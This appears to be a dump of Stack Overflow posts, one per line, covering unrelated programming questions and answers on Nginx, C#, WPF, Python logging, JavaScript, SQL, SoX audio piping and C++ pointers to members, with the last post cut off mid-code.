29057648	0	Nginx always returning a 404 for non index pages <p>I was able to deploy a site (<a href="http://taiga.market" rel="nofollow">http://taiga.market</a>) and it appears that Nginx works on the index page. If you click a link to go to another page (<a href="http://taiga.market/login" rel="nofollow">http://taiga.market/login</a>) Nginx responds with a 404. It does this for every page except the index and I have no idea why.</p> <p>I thought it was SSL, but it turns out that non-protected pages also do not render.</p> <p>I'm not really sure what's happening. The nginx configuration is as so:</p> <pre><code>server { listen 80 default_server; listen [::]:80 default_server ipv6only=on; index index.html index.htm; server_name taiga.market; passenger_enabled on; rails_env production; root /home/deploy/taiga/current/public; location / { try_files $uri $uri/ =404; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } } </code></pre> <p>There was nothing logged in production.log or nginx's error.log, but there was information inside of the access.log:</p> <pre><code>24.85.70.29 - - [15/Mar/2015:01:51:01 -0400] "GET / HTTP/1.1" 200 1613 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36" 24.85.70.29 - - [15/Mar/2015:01:51:04 -0400] "GET /user/spree_user/sign_in HTTP/1.1" 404 715 "http://taiga.market/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36" 24.85.70.29 - - [15/Mar/2015:01:51:04 -0400] "GET /user/spree_user/sign_in HTTP/1.1" 404 715 "http://taiga.market/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36" </code></pre>
16718003	0	Query version info from jsf application <p>I just stumbled upon a <a href="http://www.cigital.com/papers/download/dissecting_jsf_pt_aks_kr.pdf" rel="nofollow">paper</a> on JSF security containing the following statement:</p> <blockquote> <p>In Suns RI JSF implementation, the "com.sun.faces.disableVersionTracking" conguration parameter is defined explicitly. By default, it is set to false which means application running on the web server will throw the JSF version into the response headers when the web client queries for it</p> </blockquote> <p>But I don't understand how the web client is supposed to query for it? Is there a way to put extra (header) parameters to a request which makes JSF more chatty? I'm using MyFaces as the JSF implementation.</p>
15884068	0	 <p>It looks like you can remove the transform on the second image and it will go back behind the first one. So in other words, on image click I would probably first remove all occurrences of the transform property before applying to the clicked image. </p> <p>Or you could also set both images to position:relative and then on click set the z-index to something like 5 and set all other images to something below it such as 3. But again, you'll need to clear these inline styles so that when another image is clicked there are remnants from before that give you un-clear results. </p>
5980761	0	 <p>You will need to setup:</p> <ul> <li>A DNS entry pointing the DNS entry healthApp.name.com to your webserver</li> <li>A VirtualHost entry on the server to handle this new host name</li> <li>Set the DocumentRoot of the new vHost to the healthApp directory</li> <li>Check any configuration of your web application so it knows it's running from the new location</li> </ul>
524666	0	HTTP POST Though C# <p>I want to code an auto bot for an online game (tribalwars.net). I'm learning C# in school, but haven't covered networking yet. </p> <p>Is it possible to make HTTP POSTs though C#? Can anyone provide an example?</p>
31810030	0	 <p>As the help states:</p> <pre><code>/trait "name=value" : only run tests with matching name/value traits : <b>if specified more than once, acts as an OR operation</b> </code></pre> <p>You have to add multiple <code>/trait</code> entries.</p>
4324726	0	Wrong encoding when getting response from Google's translate API? <p>I am using google translate API to translate text from English to German. The code i am using is:</p> <pre><code>string url = String.Format("http://www.google.com/translate_t?hl=en&amp;ie=UTF8&amp;text={0}&amp;langpair={1}", TxtEnglish.Text, Constants.LanguagePair); WebClient webClient = new WebClient(); webClient.Encoding = System.Text.Encoding.UTF8; webClient.DownloadStringCompleted += new DownloadStringCompletedEventHandler(TextTranslation_DownloadStringCompleted); webClient.DownloadStringAsync(new Uri(url)); </code></pre> <p>On receiving the response in <code>e.Result</code>....... Original text: Can you help me?</p> <p>Translated german text on translator page: <code>können Sie mir helfen</code></p> <p>Result in <code>e.Result</code>: <code>k�nnen Sie mir helfen</code></p> <p>So, plz help me know why this "�" special character is coming and how can i fix this issue?? </p>
1923825	0	 <p>See the <a href="http://lftp.yar.ru/lftp-man.html" rel="nofollow noreferrer">lftp docs</a> for proper usage of the ftp:sync-mode setting. (You want <code>true</code>.)</p>
32453502	0	 <p>As far as I can see you're want to display list of entities, then provide an UI for selecting one of these entitites (via gridcontrol) and edit the selected entity properties in separate view (via text editors).</p> <p>So, I suggest you to use the MVVM approach. And, since you are already using DevExpress controls, I suggest you use the <a href="https://documentation.devexpress.com/#WPF/CustomDocument15112" rel="nofollow">DevExpress MVVM Framework</a> to make your MVVM as easy as it possible.</p> <p>Step 1: Define a ViewModel class that contains your entities collection available via the <code>Entities</code> property (you can load these entities in way as it needed, from it needed and when it needed) and provide the <code>SelectedEntity</code> property:</p> <pre><code>public class EntitiesViewModel { public EntitiesViewModel() { LoadEntities(); } void LoadEntities() { Entities = new ObservableCollection&lt;Entity&gt; { new Entity(){ Item1="A", Item2="A0", Item3="A00"}, new Entity(){ Item1="B", Item2="B0", Item3="B00"}, new Entity(){ Item1="C", Item2="C0", Item3="C00"}, }; } public ObservableCollection&lt;Entity&gt; Entities { get; private set; } public virtual Entity SelectedEntity { get; set; } // Bindable property } public class Entity { public string Item1 { get; set; } public string Item2 { get; set; } public string Item3 { get; set; } } </code></pre> <p>Step 2: Define a View layout as follows:</p> <pre><code>... xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:DXApplication1" xmlns:dx="http://schemas.devexpress.com/winfx/2008/xaml/core" xmlns:dxe="http://schemas.devexpress.com/winfx/2008/xaml/editors" xmlns:dxg="http://schemas.devexpress.com/winfx/2008/xaml/grid" xmlns:dxmvvm="http://schemas.devexpress.com/winfx/2008/xaml/mvvm" ... &lt;Grid Margin="12"&gt; &lt;Grid.DataContext&gt; &lt;dxmvvm:ViewModelSource Type="{x:Type local:EntitiesViewModel}"/&gt; &lt;/Grid.DataContext&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;RowDefinition Height="*"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;Grid Grid.Row="0" Margin="0,0,0,8"&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="Auto"/&gt; &lt;ColumnDefinition Width="8"/&gt; &lt;ColumnDefinition Width="*"/&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Grid.RowDefinitions&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;RowDefinition Height="Auto"/&gt; &lt;/Grid.RowDefinitions&gt; &lt;Label Content="Item1" Grid.Row="0" VerticalAlignment="Center"/&gt; &lt;Label Content="Item2" Grid.Row="1" VerticalAlignment="Center"/&gt; &lt;Label Content="Item3" Grid.Row="2" VerticalAlignment="Center"/&gt; &lt;dxe:TextEdit Text="{Binding SelectedEntity.Item1}" Grid.Row="0" Grid.Column="2"/&gt; &lt;dxe:TextEdit Text="{Binding SelectedEntity.Item2}" Grid.Row="1" Grid.Column="2"/&gt; &lt;dxe:TextEdit Text="{Binding SelectedEntity.Item3}" Grid.Row="2" Grid.Column="2"/&gt; &lt;/Grid&gt; &lt;dxg:GridControl Grid.Row="1" AutoGenerateColumns="None" ItemsSource="{Binding Entities}" SelectedItem="{Binding SelectedEntity}"&gt; &lt;dxg:GridControl.Columns&gt; &lt;dxg:GridColumn FieldName="Item1"/&gt; &lt;dxg:GridColumn FieldName="Item2"/&gt; &lt;dxg:GridColumn FieldName="Item3"/&gt; &lt;/dxg:GridControl.Columns&gt; &lt;dxg:GridControl.View&gt; &lt;dxg:TableView ShowTotalSummary="True" AllowEditing="False"/&gt; &lt;/dxg:GridControl.View&gt; &lt;/dxg:GridControl&gt; &lt;/Grid&gt; </code></pre> <p>*The main points-of-interest and tricks are:<br> 1) creating the <code>EntitiesViewModel</code> instance via the ViewModelSource. This way allows you do not implement the <code>INotifyPropertyChanged</code> interface at the ViewModel's level - you can just declare the <code>SelectedEntity</code> property as <code>virtual</code> and delegate all the dirty-work to the <a href="https://documentation.devexpress.com/#WPF/CustomDocument17352" rel="nofollow">POCO mechanism</a>:</p> <pre><code>&lt;dxmvvm:ViewModelSource Type="{x:Type local:EntitiesViewModel}"/&gt; </code></pre> <p>2) all View' controls bindings are "looks" into the DataContext (which contains our ViewModel):</p> <pre><code>... Text="{Binding SelectedEntity.Item1}" ... ItemsSource="{Binding Entities}" SelectedItem="{Binding SelectedEntity}"&gt; </code></pre> <p>This way allows you to decouple all UI-controls from each other and modify the View with easy.</p>
13500863	0	 <p>Recently, I was looking for that too. I think I got pointed to the solution here on SO, but I only have the final url at hand. This is what I do:</p> <pre><code># http://plumberjack.blogspot.de/2010/10/supporting-alternative-formatting.html class BraceMessage(object): def __init__(self, fmt, *args, **kwargs): self.fmt = fmt self.args = args self.kwargs = kwargs def __str__(self): return self.fmt.format(*self.args, **self.kwargs) _F = BraceMessage </code></pre> <p>Can be used like this:</p> <pre><code>logger.debug(_F("foo {0} {quux}", bar, quux=baz)) </code></pre> <p>The formatting will only take place in the very moment the message is evaluated, so you don't lose lots of performance if a log level is disabled. The author of that snippet above made this (and some other utilities) available as a package: <a href="http://pypi.python.org/pypi/logutils/" rel="nofollow"><code>logutils</code></a>.</p>
15959591	0	 <p>I have modified this file : /opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb</p> <p>changed the line => CONFIG["LIBRUBYARG_STATIC"] = "-Wl,-R -Wl,$(libdir) -L$(libdir) -l$(RUBY_SO_NAME)-static" by => CONFIG["LIBRUBYARG_STATIC"] = "-Wl,-R -Wl,$(libdir) -L$(libdir) "</p> <p>go to /opt/metasploit/msf3 and run /opt/metasploit/ruby/bin/bundle install</p> <p>CREDIT -- <a href="http://top-hat-sec.com/forum/index.php?topic=2668.0" rel="nofollow">http://top-hat-sec.com/forum/index.php?topic=2668.0</a> -- BOBBY</p>
16460994	0	Perform action in series <p>i am trying to perform action in series but here in my code alert message is printed firat though i have written it after some action.</p> <p>This is Fiddle i have Tried . <a href="http://jsfiddle.net/wggua/635/" rel="nofollow">http://jsfiddle.net/wggua/635/</a></p> <pre><code> $(document).ready(function() { var a=1; setTimeout(function() { $('#dvData').fadeOut(); }, 2000); if(a==1) { alert("value i s 1"); } else { alert("value is 0"); } }); </code></pre> <p>Please help,</p>
14705767	0	Change an AbstractAction name <p>I have a JMenuItem bounded to an Action that I can get using <code>item.getAction()</code>. The action name is set when constructing the Action, e.g. using anonymous <code>new AbstractAction(String text, ...)</code>. The text field is set according to a ResourceBundle and localization information. Now if I want to change localization, I would like to change the Action.NAME field so that it displays the proper localized name. I can only get the name, e.g. using <code>item.getAction().NAME</code> but cannot change the field as it is final. </p> <p>How could I change it's name?</p>
17354829	0	 <p>You'll need to create your own binder function to do that. The main reason for having <code>.bind()</code> was to deal with the non-lexically defined <code>this</code>. As such, they didn't provide any way to use it without setting <code>this</code>.</p> <p>Here's a simple example you could use:</p> <pre><code>Function.prototype.argBind = function() { var fn = this; var args = Array.prototype.slice.call(arguments); return function() { return fn.apply(this, args.concat(Array.prototype.slice.call(arguments))); }; }; </code></pre> <p>This is pretty bare-bones, and doesn't deal with the function being invoked as a constructor, but you can add that support if desired.</p> <hr> <p>You could also enhance it to behave like the native <code>.bind()</code> unless <code>null</code> or <code>undefined</code> are passed as the first argument.</p> <pre><code>Function.prototype.argBind = function(thisArg) { // If `null` or `undefined` are passed as the first argument, use `.bind()` if (thisArg != null) { return this.bind.apply(this, arguments); } var fn = this; var args = Array.prototype.slice.call(arguments); return function() { return fn.apply(this, args.concat(Array.prototype.slice.call(arguments))); }; }; </code></pre>
24722350	0	 <p>First of all,you're never reading your input in a variable!and then you're trying to check equality between the "scan" object which is of type Scanner.Instead read input "scan.nextLine();" in a variable say "var" and then call var.equals(password).Please also check that your String "Fish" is null initially which will give you a NullPointerException!</p>
14469684	0	 <p>This just happened to me... exactly. I needed to change it to <code>\\n</code> instead of <code>\n</code>.</p> <pre><code>alert("Hello again! This is how we"+"\\n"+"add line breaks to an alert box!"); </code></pre>
39813331	0	 <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>column: name: , while compiling: SELECT name, address, number FROM form</code></pre> </div> </div> Try looking these part. Are these correct?</p> <p>Try to fit this code if it doesnt go to your TextView.</p>
16935138	0	 <p>This might work for you (GNU sed):</p> <pre><code>sed 's/.*_//' &lt;&lt;&lt;"abc_def_ghi jkl_lmn_opq" </code></pre>
26089782	0	 <p>You can use replace() to do what yo want it to. Use it in this format</p> <pre><code>value = value.replace(" ", ","); //First param is the char you want to replace; The second is the one you want to replace the first param with </code></pre>
5621324	0	jQuery val() and checkboxes <p>Is there some rationale for <code>val()</code> being useless for checkbox controls, whereas it is useful for getting input data consistently across every other input control?</p> <p>e.g. for checkboxes, at appears to <em>always return "on" regardless of the checkbox state.</em> For other input controls that don't actually have a "value" attribute, e.g. select and textarea, it behaves as you would expect. See:</p> <p><a href="http://jsfiddle.net/jamietre/sdF2h/4/">http://jsfiddle.net/jamietre/sdF2h/4/</a></p> <p>I can't think of a good reason why it wouldn't return <code>true</code> or <code>false</code>. Failing that, at least return "on" only when checked, and an empty string when not. Failing that, at least always return an empty string, given that checkboxes have no <code>value</code> attribute!</p> <p>Obviously I know how to get the value using <code>attr</code>, but here's the situation. I am developing a simple (so far anyway) C# jQuery implementation to do HTML parsing on the server, and I am trying to be completely faithful to jQuery's implementation so it behaves consistently on either the client or server against the same DOM. But this just seems stupid and I'm having a hard time getting myself to actually code "value" to return "ON" for a checkbox no matter what. But if I don't, it won't be consistent. So I'm trying to understand, is there some reason for doing this? Does it serve some purpose, or is it simply an artifact of some kind? Would anyone ever use the <code>val()</code> method against a checkbox, if so, why? If not, why did the jQuery architects decide on this approach to make it not useful?</p>
28313486	0	 <p>Here is a query. This will make sure in each column(any) any of the 1,2,3,4,5 number exists i.e. 5 columns have a different number in them</p> <pre><code>select *, ((LENGTH(concat(cola,colb,colc,cold,cole))) - LENGTH(REPLACE(concat(cola,colb,colc,cold,cole), '1', ''))) as one, ((LENGTH(concat(cola,colb,colc,cold,cole))) - LENGTH(REPLACE(concat(cola,colb,colc,cold,cole), '2', ''))) as two, ((LENGTH(concat(cola,colb,colc,cold,cole))) - LENGTH(REPLACE(concat(cola,colb,colc,cold,cole), '3', ''))) as three, ((LENGTH(concat(cola,colb,colc,cold,cole))) - LENGTH(REPLACE(concat(cola,colb,colc,cold,cole), '4', ''))) as four, ((LENGTH(concat(cola,colb,colc,cold,cole))) - LENGTH(REPLACE(concat(cola,colb,colc,cold,cole), '5', ''))) as five from tests having one = 1 AND two = 1 AND three = 1 AND four = 1 AND five = 1 </code></pre>
39569406	0	 <p>ArrayAdapter.java:401, is what is throwing this error. Check the values added in the object passed to this method. Probably one of those is null. android.os.Looper.loop(Looper.java:148)</p>
11633469	0	Are multiple Many-Many relationships evidence of bad design? <p>Good day all,</p> <p>I have been learning about databases and database design and I find I am still reaching a question I cannnot answer myself. So I pose the question to the community in hopes that someone with more knowledge/experience than I can answer it.</p> <p>I have been tasked with working on a database which tracks stock levels accross a fleet of ships.</p> <p>The current design has a table for each ship with a list of all possible parts (Machinery Type, Part Number, Make, Serial No etc.)</p> <p>This means that the details of a piece of machinery or part can be duplicated many times (as many times as there are ships in fact).</p> <p>I have been experimenting with a redesign based on what I have learnt myself, and I would propose a design along the following lines:</p> <pre><code>[SHIP] ID, Name, Class, Tonnage, Fleet, Superintendent etc. [Machinery] ID, Type, Make, Model etc. (Can have separate table for manufacturers and types if required) [Part] ID, Part number, Description, etc. </code></pre> <p>The above would be the three main tables now is where it starts to get difficult. </p> <p>Each ship can have multiple items of machinery and each machinery item could be present on multiple ships (requires a junction table)</p> <p>Each machinery item can have multiple parts and each part could belong to multiple machinery items (another junction table)</p> <p>There could be well into hundreds of thousands of parts which would make the junction tables huge.</p> <p>Additionally as soon as you want to keep track of stock you are looking at another junction table</p> <pre><code>[Stock Level] ShipID, PartID, Stock Level </code></pre> <p>Also if you wanted a minimum stock (Could be combined with Stock Level?)</p> <pre><code>[Min Stock] ShipID, PartID, Min Stock </code></pre> <p>And finally if you were looking to have normalised database (i.e no Part No.1 , Part No.2 or Serial No.1, Serial No.2)</p> <p>You would need to have a few extra tables</p> <pre><code>[Serial Numbers] ShipID, MachineryID, Serial No [Part Numbers] PartID, Part Number </code></pre> <p>Serial numbers is probably going to be fairly standard and no problem however [part numbers] will require at least as many records as are in the [Parts] table.</p> <p>Map (As best as I can represent without a picture, junctions omitted for simplicity)</p> <pre><code> &lt;&gt;V represent many -| represent one -----&lt; Serial Numbers | V | | Ship &gt;---&lt; Machinery &gt;---&lt; Parts ---&lt; Part Numbers V V | | ------ Stock Level ------- </code></pre> <p>Now the real question is am I missing something in the basic design principles that would eliminate such huge junction tables or is this to be expected with this kind of database.</p> <p>Also in cases like with part numbers where normalisation requires an additional table with at least the same number of records rather than extra columns in the original table is this the kind of thing that you would later denormalise to improve query speed?</p> <p>Any hints, tips or pointers to external resources (including other forums, tutorials, books) would be greatly appreciated.</p> <p>All answers welcome, thank you in advance for any help you provide.</p> <p>Dave</p>
18729850	0	 <p>This</p> <pre><code> R.id.enterHours </code></pre> <p>returns an <code>int</code>. That's why when you initialize a <code>View</code> you do it like</p> <pre><code>TextView mTextView = (TextView) findViewById(R.id.newHours_Value); </code></pre> <p>The <code>(TextView)</code> casts it to a <code>TextView</code> so you can call its methods on it like <code>getText().toString()</code>. So what you probably want is</p> <pre><code>TextView hourValueTV = (TextView) findViewById*R.id.enterHours); //assuming its a TextView and not EditText String hourValue = hourValueTV.getText().toString(); </code></pre>
20872591	0	 <p><code>sprintf</code> is indeed defined by the C standard. I would not look past that function to solve your problem.</p>
30166384	0	Sox - Piping output in windows <p>So I am emulating a RP2A03 chip using C++, using SoX to resample and output the audio.</p> <p>I can confirm that the APU itself and input pipe is working as a charm with the command following command:</p> <pre><code>FILE* fp = popen(".\\sox\\sox.exe -t raw -c1 -e signed-integer -b 16 -r1789800 - -t wav -c2 -r 48000 wav.wav", "wb"); ... fputc(sample, fp); fputc(sample/256, fp); </code></pre> <p>Which outputs a beautiful chiptune as wav.wav, playable in MS-media player, VLC and alike.</p> <p>But when I try to pipe the music to ffplay using:</p> <pre><code>FILE* fp = popen(".\\sox\\sox.exe -t raw -c1 -e signed-integer -b 16 -r1789800 - -t raw -c2 -r 48000 - | .\\sox\\ffplay.exe -acodec pcm_s16le -", "wb"); </code></pre> <p>I get an error reading:</p> <pre><code>FAIL sox: `-' error writing output file: Invalid argument </code></pre> <p>I've been hard at google for hours with no luck...</p> <p>I've been stuck at this for hours, since yesterday actually, and it seems like there is something crucial (or trivial?) I am overlooking, as all the examples I find use the same, or even easier methods, to write the output to stdout.</p> <p>As I can actually output it to a wav with no problems what so ever, I can't help but feel a bit taunted by the software...</p> <p>If anyone have any suggestions that might help, then please, please share!</p> <p>Thanks!</p>
22387098	0	 <p>As follow up from comments, next formulas works in <code>F2</code> and copied down:</p> <pre><code>=IF(D2="YES",B2*E2,0) </code></pre> <p>or</p> <pre><code>=B2*E2*(D2="YES") </code></pre>
20395607	0	How to split a comma separated string into groups of 2 each and then convert all these groups to an array <p>I have a string which is like <code>1,2,2,3,3,4</code> etc. First of all, I want to make them into groups of strings like <code>(1,2),(2,3),(3,4)</code>. Then how I can make this string to array like<code>{(1,2) (2,3) (3,4)}</code>. Why I want this is because I have a array full of these 1,2 etc values and I've put those values in a <code>$_SERVER['query_string']="&amp;exp=".$exp</code>. So Please give me any idea to overcome this issue or solve.Currently this is to create a group of strings but again how to make this array.</p> <pre><code>function x($value) { $buffer = explode(',', $value); $result = array(); while(count($buffer)) { $result[] = sprintf('%d,%d', array_shift($buffer), array_shift($buffer)); } return implode(',', $result); } $result = x($expr); </code></pre> <p>but its not working towards my expectations</p>
29520907	0	 <p>to let <code>p-q</code> make sense,p and q should point to the same array.<br>but <code>p-q</code> in your code is Undefined</p>
10821233	0	 <p>Adding to Ansari's answer, the <code>diagDominantFlag</code> can be calculated by:</p> <pre><code>diagDominantFlag = all(diag(A) &gt;= (sum(A, 2) - diag(A))); </code></pre> <p>Thus replacing your double <code>for</code> loop with a one-liner.</p>
37996425	0	Resize CGSize to the maximum with keeping the aspect-ratio <p>I have a <code>CGSize</code> objects that I need to send to my server. The maximum size I can send to the server is 900*900 (900 width/900 height).</p> <p>There are some objects that are larger the 900*900 and I want to write a function that resizes them to the maximum (as I already say, the maximum is 900*900) but to keep the aspect ratio.</p> <p>For example: if I have an object that is 1,000px width and 1,000px height I want the function to return a 900*900 object. If I have an object that is 1920px width and 1080px height I want it to return the maximum size possible with keeping the ratio.</p> <p>Anyone have any idea how can I do that?</p> <p>Thank you!</p> <p><strong>OriginalUser2 answer:</strong></p> <p>I've tried this code:</p> <pre><code>let aspect = CGSizeMake(900, 900) let rect = CGRectMake(0, 0, 1920, 1080) let final = AVMakeRectWithAspectRatioInsideRect(aspect, rect) </code></pre> <p><code>final</code> is <code>{x 420 y 0 w 1,080 h 1,080}</code>, I can't understand why the <code>x = 420</code>, but anyway <code>1080*1080</code> is not in the same aspect ratio as <code>1920*1080</code> and it's bigger than <code>900*900</code>.</p> <p>Can you explain a bit more?</p>
19281269	0	 <p>There are not built-in facilities for this in Lua. Try <a href="http://luasocket.luaforge.net/" rel="nofollow">LuaSocket</a>.</p>
6779371	0	 <p>HTTP is a pretty simple protocol, the following should get the status code out pretty reliably (updated to be a tad more robust):</p> <pre><code>int statusCodeStart = httpString.IndexOf(' ') + 1; int statusCodeEnd = httpString.IndexOf(' ', statusCodeStart); return httpString.Substring(statusCodeStart, statusCodeEnd - statusCodeStart); </code></pre> <p>If you really wanted to you could add a sanity check to make sure that the string starts with "HTTP", but then if you wanted robustness you could also just implement a HTTP parser.</p> <p>To be honest this would probably do! :-)</p> <pre><code>httpString.Substring(9, 3); </code></pre>
5416251	0	 <p>Well you could certainly remove the <code>ToList</code> call - that's not helping you at all.</p> <p>You could make the calling code simpler like this:</p> <pre><code>var dictionary = allDays.Where(n =&gt; n.Value.IsRequested || n.Value.IsApproved) .ToDictionary(x =&gt; x.Key, x =&gt; x.Value); var mostDays = new SortedList&lt;DateTime, CalendarDay&gt;(dictionary); </code></pre> <p>... but that's going to build an intermediate <code>Dictionary&lt;,&gt;</code>, so it's hardly efficient.</p> <p>Another option is that you could write your own <code>ToSortedList</code> extension method, e.g.</p> <pre><code>public static SortedList&lt;TKey, TValue&gt; ToSortedList&lt;TSource, TKey, TValue&gt; (this IEnumerable&lt;TSource&gt; source, Func&lt;TSource, TKey&gt; keySelector, Func&lt;TSource, TValue&gt; valueSelector) { // TODO: Argument validation var ret = new SortedList&lt;TKey, TValue&gt;(); foreach (var element in source) { ret.Add(keySelector(element), valueSelector(element)); } return ret; } </code></pre> <p>Then the calling code will just be:</p> <pre><code>var mostDays = allDays.Where(n =&gt; n.Value.IsRequested || n.Value.IsApproved) .ToSortedList(x =&gt; x.Key, x =&gt; x.Value); </code></pre> <p>I suspect this should be reasonably efficient, as it will always be adding values to the <em>end</em> of the list during construction.</p> <p>(For a complete job you'd want to add overloads accepting custom key comparers etc... see <code>ToDictionary</code>.)</p>
32461397	0	 <p>the second <code>r.index('something')</code> will find the first one. You need something like:</p> <pre><code>a = str(r[r.index('word001'):r.index('#something')]) b = str(r[r.index('word002'):r.index('#something', start=r.index('#something')+1)]) </code></pre> <p>This will find the first <code>#something</code> and continue searching after that one.</p> <p>But that is not very good if you have more <code>word</code> patterns you need to find. Maybe better would be:</p> <pre><code>import re re.findall("(word\\d+%20)", "word001%20#something=637448word002%20#something=278364") # this returns word0001%20 and word002%20 </code></pre>
33442910	0	 <p>Setting HISTFILE=/dev/null is disabled in development version of Tramp, because there is a bug in bash which corrupts /dev/null then. Likely, the security department of your company is concerned about this.</p> <p>If you have a recent Tramp (say the one bundled with Emacs 24.5), setting HISTFILE=/dev/null is hardwired in tramp-sh.el. You would need to patch it there.</p> <p>If you install a newer Tramp version like 2.2.12 (see the Tramp manual how to do this), you could use the variable <code>tramp-histfile-override</code> to set your own value. Per default it is set to ".tramp_history", but there are also other possibilities. See the docstring of that variable.</p>
40682196	0	 <p>To actually run your flask app in debug mode, you run this command:</p> <p><code>python /home/vagrant/PythonVision/app.py</code></p> <p>Then you can go on your browser: <a href="http://ip:5000/">http://ip:5000/</a>.</p> <p>Since I know you're running this on vagrant, the <code>ip</code> might be defined by your configs, but that's beyond the scope of this question.</p>
13766944	0	 <p>You can also just enumerate the Items property of your DataGrid. Unlike the ItemsSource property, the Items property appears to reflect exactly what's on the screen including sorting and filtering. For example:</p> <pre><code>foreach (var item in dataGrid.Items) { // do something } </code></pre>
3875986	0	When does Google I/O registration open up usually? <p>I have been polishing my Java lately, and I am really starting to dig into the Android SDK. I am looking forward to attending Google's I/O conference next year, and I am nervous that I am going to miss the sign up period. Historically, when has the conference registration opened up? For those of you who went last year, do you remember when registration opened up?</p>
22491664	0	Adding parenthesis to a number that is binding <p>My <code>label</code> is bound to a number and for example shows <strong>72</strong> so that "72" is coming directly from binding and I can show it in label fine But I want to wrap it around parenthesis so would show as <strong>(72)</strong> I know I can use <code>StringFormat</code> but I tried and couldn't quite get the syntax right. Would you help me show how it is?</p>
27202080	0	Task is not waiting for completion <p>I'm trying to get my head around await and async so I wrote this little test app, but what I expected does not happen.</p> <p>Instead of waiting for the task to complete, the program continues to execute.</p> <pre><code>class Program { static void Main(string[] args) { var task = new Task(Run); task.Start(); task.Wait(); Console.WriteLine("Main finished"); Console.ReadLine(); } public async static void Run() { var task = Task.Factory.StartNew(() =&gt; { Console.WriteLine("Starting"); Thread.Sleep(1000); Console.WriteLine("End"); }); await task; Console.WriteLine("Run finished"); } } </code></pre> <p>Output</p> <pre><code>Main finished Starting End Run finished </code></pre> <p>If I swap the 'await task' for 'task.Await()' it then runs as I would have expected producing</p> <pre><code>Starting End Run finished Main finished </code></pre>
22334421	0	 <p>I resolved the problem by using PHP EXCEL Reader because i use php 4 wich wont work with this library or with .xlsx files. now it is done , and my sheet was read , still , only one sheet is read. Thank you All !</p>
21439775	0	 <p>You tried to multiply a string by another string.</p> <p>Try this: </p> <pre><code>output = float(user_input[0]) * float(USD[0]) </code></pre> <p>user_input[3] is 'GBP' a string, I supposed you want to say 0.60</p>
25111308	0	 <p>You forgot to include the schema in your sql query. Write your query like this:</p> <pre><code>SELECT * FROM Tester.User </code></pre> <p>Try also to look at your server log in Netbeans, in the output window. Usually you can find their if you're doing wrong something else.</p>
31854252	0	 <p>There are a number of reasons why decomposing a table (splitting up by columns) might be advisable. One of the first reasons a beginner should learn is data normalization. Data normalization is not directly concerned with performance, although a normalized database will sometimes outperform a poorly built one, especially under load.</p> <p>The first three steps in normalization result in 1st, 2nd, and 3rd normal forms. These forms have to do with the relationship that non-key values have to the key. A simple summary is that a table in 3rd normal form is one where all the non-key values are determined by the key, the whole key, and nothing but the key. </p> <p>There is a whole body of literature out there that will teach you how to normalize, what the benefits of normalization are, and what the drawbacks sometimes are. Once you become proficient in normalization, you may wish to learn when to depart from the normalization rules, and follow a design pattern like Star Schema, which results in a well structured, but not normalized design.</p> <p>Some people treat normalization like a religion, but that's overselling the idea. It's definitely a good thing to learn, but it's only a set of guidelines that can often (but not always) lead you in the direction of a satisfactory design.</p> <p>A normalized database tends to outperform a non normalized one at update time, but a denormalized database can be built that is extraordinarily speedy for certain kinds of retrieval.</p> <p>And, of course, all this depends on how many databases you are going to build, and their size and scope,</p>
25621695	0	 <p>Register your route without <code>{q}</code> and with a name.</p> <p>Using closure:</p> <pre><code>Route::get('search', ['as' =&gt; 'search', function(){ $q = Input::get('q'); return $q; }]); </code></pre> <p>Using controller:</p> <pre><code>Route::get('search', ['as' =&gt; 'search', 'uses' =&gt; 'SearchController@yourMethod']); </code></pre> <p>Then call the route by its name:</p> <pre><code>route('search', ['q' =&gt; 'search query']); // /search?q=search%20query </code></pre> <p>or</p> <pre><code>URL::route('search', ['q' =&gt; 'search query']); </code></pre>
35977414	0	Pointer to a class's private data member <p>Consider a class <code>card</code> which has two public members, <code>int suit</code> and <code>int value</code>, and a template function that sorts an array of cards by the member I pass through a pointer-to-member, like this:</p> <pre><code>//class card with public members class card{ public: int suit; int value; }; //sorting algorithm template&lt;typename m_pointer, typename iterator, typename Functype&gt; void sort_array(m_pointer member, iterator begin, iterator end, Functype pred){ iterator iter1=begin; while(iter1!=end &amp;&amp; ++iter1!=end){ iterator iter2=iter1; while(iter2!=begin){ iterator iter3=iter2; --iter3; //here i use the pointer-to-member to sort the cards if(pred((*iter3).*member, (*iter2).*member)){ std::swap(*iter3, *iter2); } else break; --iter2; } } } int main(){ card array[3]={{3,1},{2,3},{4,5}}; //let's sort the cards by the suit value in a decreasing order sort(&amp;card::suit, array, array+3, [](int a, int b){return a&lt;b;}); } </code></pre> <p>If the card member <code>suit</code> is public there's obviously no problem, but what actually i didn't expected is that the same code doesn't give any trouble even if i declare <code>suit</code> or <code>value</code> as private members.</p> <pre><code>class card{ int suit; int value; public://adding this for clarity, read forward int* pointer_to_suit(); }; </code></pre> <p>From what I know, I shouldn't be able to access private members from outside the class, and the only way to pass a pointer-to-member to a private member is through a member function which returns the member address, like this for example:</p> <pre><code>//function member of the class card int* card::pointer_to_suit(){ return &amp;suit; } </code></pre> <p>So, why is it possible that the code above (the one with the template) works?</p> <p><strong>EDIT:</strong> Ok, the code above doesn't compile on it's own, but for some reason the following code compile fine to me. I'll post the whole code since I've no idea where the trick for it to work might be, sorry for the mess:</p> <pre><code>template&lt;typename m_pointer, 